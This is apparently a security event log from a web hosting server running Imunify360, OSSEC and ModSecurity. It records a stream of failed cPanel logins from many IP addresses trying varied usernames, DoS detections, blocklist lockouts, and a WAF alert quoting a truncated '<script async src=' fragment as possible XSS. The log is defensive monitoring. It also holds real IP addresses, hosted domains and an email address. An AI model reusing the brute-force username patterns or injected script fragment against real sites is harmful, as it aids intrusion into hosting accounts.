IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:zgqykfsi||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.81.167.197
country_id: 6252001
description:
[2026-06-25 23:57:23 +0000] info [cpaneld] 97.81.167.197 - mftog "GET /login/?login_only=1&user=mftog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.207.176.121
country_id: 6252001
description:
[2026-06-25 23:57:39 +0000] info [cpaneld] 73.207.176.121 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.189.80
country_id: 6252001
description:
[2026-06-25 23:57:54 +0000] info [cpaneld] 172.59.189.80 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.56.66.10
country_id: 6252001
description:
[2026-06-25 23:57:11 +0000] info [cpaneld] 73.56.66.10 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.204.70.131
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 35.204.70.131: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 25 23:58:34 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-25 23:58:49 +0000] info [cpaneld] 104.28.160.166 - rolle "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 25 23:59:15 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.190.200.134
country_id: 6252001
description:
[2026-06-25 23:59:16 +0000] info [cpaneld] 71.190.200.134 - snb "GET /login/?login_only=1&user=snb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.16.71.231
country_id: 6252001
description:
[2026-06-26 00:01:53 +0000] info [cpaneld] 108.16.71.231 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.233.6
country_id: 2921044
description:
Jun 26 00:01:28 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.233.6 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.50.227.176
country_id: 6252001
description:
[2026-06-26 00:02:03 +0000] info [cpaneld] 69.50.227.176 - crechepe "GET /login/?login_only=1&user=crechepe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.219.15.95
country_id: 6252001
description:
[2026-06-26 00:01:58 +0000] info [cpaneld] 72.219.15.95 - crechepetitelunetg "GET /login/?login_only=1&user=crechepetitelunetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelunetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.144.176.209
country_id: 6252001
description:
[2026-06-26 00:02:05 +0000] info [cpaneld] 67.144.176.209 - crechep "GET /login/?login_only=1&user=crechep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.56.201.166
country_id: 6252001
description:
[2026-06-26 00:02:08 +0000] info [cpaneld] 173.56.201.166 - creche "GET /login/?login_only=1&user=creche&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user creche (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.96.150.174
country_id: 6252001
description:
[2026-06-26 00:02:11 +0000] info [cpaneld] 191.96.150.174 - crech "GET /login/?login_only=1&user=crech&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crech (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.90.226.69
country_id: 6252001
description:
[2026-06-26 00:02:14 +0000] info [cpaneld] 71.90.226.69 - crec "GET /login/?login_only=1&user=crec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crec (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 54.200.247.142
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 54.200.247.142: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.145.179.209
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.145.179.209: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.226.192.241
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.226.192.241: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 220.167.232.213
country_id: 1814991
description:
Jun 26 00:03:14 ns5 pure-ftpd[11750]: (?@220.167.232.213) [INFO] New connection from 220.167.232.213


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.22.147.155
country_id: 6252001
description:
[2026-06-26 00:03:48 +0000] info [cpaneld] 73.22.147.155 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.4.168.123
country_id: 6252001
description:
[2026-06-26 00:03:54 +0000] info [cpaneld] 50.4.168.123 - anrtogotg "GET /login/?login_only=1&user=anrtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtogotg (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.177.84.200
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-03.181.177.84.200||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.126.34.19
country_id: 6252001
description:
[2026-06-26 00:03:51 +0000] info [cpaneld] 216.126.34.19 - anrtogo "GET /login/?login_only=1&user=anrtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.218.176.104
country_id: 6252001
description:
[2026-06-26 00:04:11 +0000] info [cpaneld] 72.218.176.104 - an "GET /login/?login_only=1&user=an&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user an (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.2.62.175
country_id: 6252001
description:
[2026-06-26 00:04:53 +0000] info [cpaneld] 68.2.62.175 - fom "GET /login/?login_only=1&user=fom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fom (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.164.128.40
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-04.95.164.128.40||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.176.192.96
country_id: 3895114
description:
Denial of Service (DoS) attack was discovered from 34.176.192.96: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.222.137.206
country_id: 6252001
description:
[2026-06-26 00:06:20 +0000] info [cpaneld] 98.222.137.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.116.226.208
country_id: 6252001
description:
[2026-06-26 00:06:25 +0000] info [cpaneld] 216.116.226.208 - ccl "GET /login/?login_only=1&user=ccl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ccl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.147.59
country_id: 6252001
description:
[2026-06-26 00:06:28 +0000] info [cpaneld] 153.66.147.59 - ccltg "GET /login/?login_only=1&user=ccltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ccltg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 8.234.142.239
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 8.234.142.239: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.132.25.245
country_id: 1814991
description:
Jun 26 00:06:24 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.132.25.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.75.99.54
country_id: 1819730
description:
Jun 26 00:06:33 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.75.99.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 133.88.123.11
country_id: 1861060
description:
Jun 26 00:06:57 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 133.88.123.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.18.221.21
country_id: 798544
description:
Jun 26 00:06:41 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.18.221.21 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.125.216.30
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.125.216.30: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.70.65.241
country_id: 2328926
description:
146.70.65.241 - - [26/Jun/2026:00:07:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7315355&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432450 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.70.65.241


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.66.58.177
country_id: 6252001
description:
[2026-06-26 00:08:56 +0000] info [cpaneld] 173.66.58.177 - funda "GET /login/?login_only=1&user=funda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user funda (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.144.166
country_id: 1814991
description:
Jun 26 00:08:44 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.144.166 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.41.113
country_id: 6251999
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:104.239.41.113||TA:104.239.41.113||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.96.185.131
country_id: 1814991
description:
Jun 26 00:08:57 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.96.185.131 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.91.86.101
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.91.86.101: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.201.153.106
country_id: 1814991
description:
Jun 26 00:08:12 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.201.153.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.89.246.144
country_id: 6252001
description:
Jun 26 00:08:11 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.89.246.144 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.91.86.101
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.91.86.101: 166 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.106.108.183
country_id: 6252001
description:
[2026-06-26 00:09:55 +0000] info [cpaneld] 131.106.108.183 - togofeed "GET /login/?login_only=1&user=togofeed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.190.185.252
country_id: 6252001
description:
[2026-06-26 00:10:21 +0000] info [cpaneld] 71.190.185.252 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.12.100.78
country_id: 6252001
description:
[2026-06-26 00:10:33 +0000] info [cpaneld] 100.12.100.78 - djama "GET /login/?login_only=1&user=djama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djama (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.67.7.16
country_id: 3865483
description:
[2026-06-26 00:11:03 +0000] info [cpaneld] 153.67.7.16 - aname "GET /login/?login_only=1&user=aname&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aname (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.212.204.39
country_id: 2017370
description:
[2026-06-26 00:10:57 +0000] info [cpaneld] 176.212.204.39 - anamektg "GET /login/?login_only=1&user=anamektg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anamektg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 166.88.178.37
country_id: 6252001
description:
[2026-06-26 00:10:14 +0000] info [cpaneld] 166.88.178.37 - kpmg "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.142.164.179
country_id: 6252001
description:
[2026-06-26 00:10:24 +0000] info [cpaneld] 69.142.164.179 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.196.211.89
country_id: 6252001
description:
[2026-06-26 00:10:46 +0000] info [cpaneld] 216.196.211.89 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.170.107
country_id: 2921044
description:
[2026-06-26 00:10:51 +0000] info [cpaneld] 92.208.170.107 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.164.124.37
country_id: 3469034
description:
[2026-06-26 00:10:55 +0000] info [cpaneld] 45.164.124.37 - anamek "GET /login/?login_only=1&user=anamek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anamek (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.56.109.67
country_id: 3932488
description:
[2026-06-26 00:11:08 +0000] info [cpaneld] 38.56.109.67 - anam "GET /login/?login_only=1&user=anam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.26.142.138
country_id: 6252001
description:
[2026-06-26 00:10:42 +0000] info [cpaneld] 173.26.142.138 - dja "GET /login/?login_only=1&user=dja&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dja (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.131.229.231
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 34.131.229.231: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.24.174.62
country_id: 6252001
description:
[2026-06-26 00:11:44 +0000] info [cpaneld] 192.24.174.62 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.83.203.77
country_id: 6252001
description:
[2026-06-26 00:12:06 +0000] info [cpaneld] 76.83.203.77 - bawas "GET /login/?login_only=1&user=bawas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.48.151.47
country_id: 1210997
description:
[2026-06-26 00:11:12 +0000] info [cpaneld] 144.48.151.47 - ana "GET /login/?login_only=1&user=ana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ana (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.243.205
country_id: 6252001
description:
[2026-06-26 00:12:09 +0000] info [cpaneld] 172.59.243.205 - bawa "GET /login/?login_only=1&user=bawa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.33.203.150
country_id: 6252001
description:
[2026-06-26 00:11:55 +0000] info [cpaneld] 68.33.203.150 - bawasong "GET /login/?login_only=1&user=bawasong&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasong (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.204.228.175
country_id: 1210997
description:
[2026-06-26 00:11:18 +0000] info [cpaneld] 116.204.228.175 - an "GET /login/?login_only=1&user=an&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user an (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.153.73.30
country_id: 6252001
description:
[2026-06-26 00:11:58 +0000] info [cpaneld] 47.153.73.30 - bawason "GET /login/?login_only=1&user=bawason&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawason (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.148.224
country_id: 6252001
description:
[2026-06-26 00:12:01 +0000] info [cpaneld] 172.58.148.224 - bawaso "GET /login/?login_only=1&user=bawaso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawaso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:12:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194223&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782432735 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.166.76.141
country_id: 102358
description:
Denial of Service (DoS) attack was discovered from 34.166.76.141: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 49.233.41.131
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/jif-2026-compassion-international-celebre-les-femmes-rurales-a-kara/<script async src=||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.33.171.158
country_id: 6252001
description:
[2026-06-26 00:15:03 +0000] info [cpaneld] 96.33.171.158 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.166.52.253
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.166.52.253: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.163.102.250
country_id: 6252001
description:
[2026-06-26 00:15:27 +0000] info [cpaneld] 73.163.102.250 - les "GET /login/?login_only=1&user=les&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user les (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.177.46.179
country_id: 6252001
description:
[2026-06-26 00:15:33 +0000] info [cpaneld] 70.177.46.179 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 26 00:15:42 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.113.185.17
country_id: 6252001
description:
[2026-06-26 00:15:58 +0000] info [cpaneld] 70.113.185.17 - sococimtg "GET /login/?login_only=1&user=sococimtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococimtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:16:01 +0000] info [cpaneld] 141.95.93.31 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.225.97.253
country_id: 6252001
description:
[2026-06-26 00:16:09 +0000] info [cpaneld] 97.225.97.253 - soco "GET /login/?login_only=1&user=soco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.115.138.124
country_id: 6252001
description:
[2026-06-26 00:15:11 +0000] info [cpaneld] 73.115.138.124 - lesnidsu "GET /login/?login_only=1&user=lesnidsu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.178.165.80
country_id: 6252001
description:
[2026-06-26 00:15:18 +0000] info [cpaneld] 38.178.165.80 - lesnid "GET /login/?login_only=1&user=lesnid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.168.245.157
country_id: 6252001
description:
[2026-06-26 00:16:24 +0000] info [cpaneld] 73.168.245.157 - ortouc "GET /login/?login_only=1&user=ortouc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 207.174.227.209
country_id: 6252001
description:
[2026-06-26 00:16:29 +0000] info [cpaneld] 207.174.227.209 - orto "GET /login/?login_only=1&user=orto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user orto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.147.233.212
country_id: 6252001
description:
[2026-06-26 00:16:52 +0000] info [cpaneld] 45.147.233.212 - iaideveloppementgroupe@gmail.com "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.201.209.219
country_id: 6252001
description:
[2026-06-26 00:16:13 +0000] info [cpaneld] 71.201.209.219 - ortouche "GET /login/?login_only=1&user=ortouche&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouche (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.65.92.198
country_id: 6252001
description:
[2026-06-26 00:16:37 +0000] info [cpaneld] 71.65.92.198 - or "GET /login/?login_only=1&user=or&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user or (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.46
country_id: 6252001
description:
Jun 26 00:17:06 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.239.113.37
country_id: 6252001
description:
[2026-06-26 00:16:19 +0000] info [cpaneld] 96.239.113.37 - ortouchecom "GET /login/?login_only=1&user=ortouchecom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouchecom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-26 00:16:41 +0000] info [cpaneld] 141.95.93.31 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.186.240
country_id: 6252001
description:
[2026-06-26 00:16:09 +0000] info [cpaneld] 172.59.186.240 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.207.254
country_id: 3469034
description:
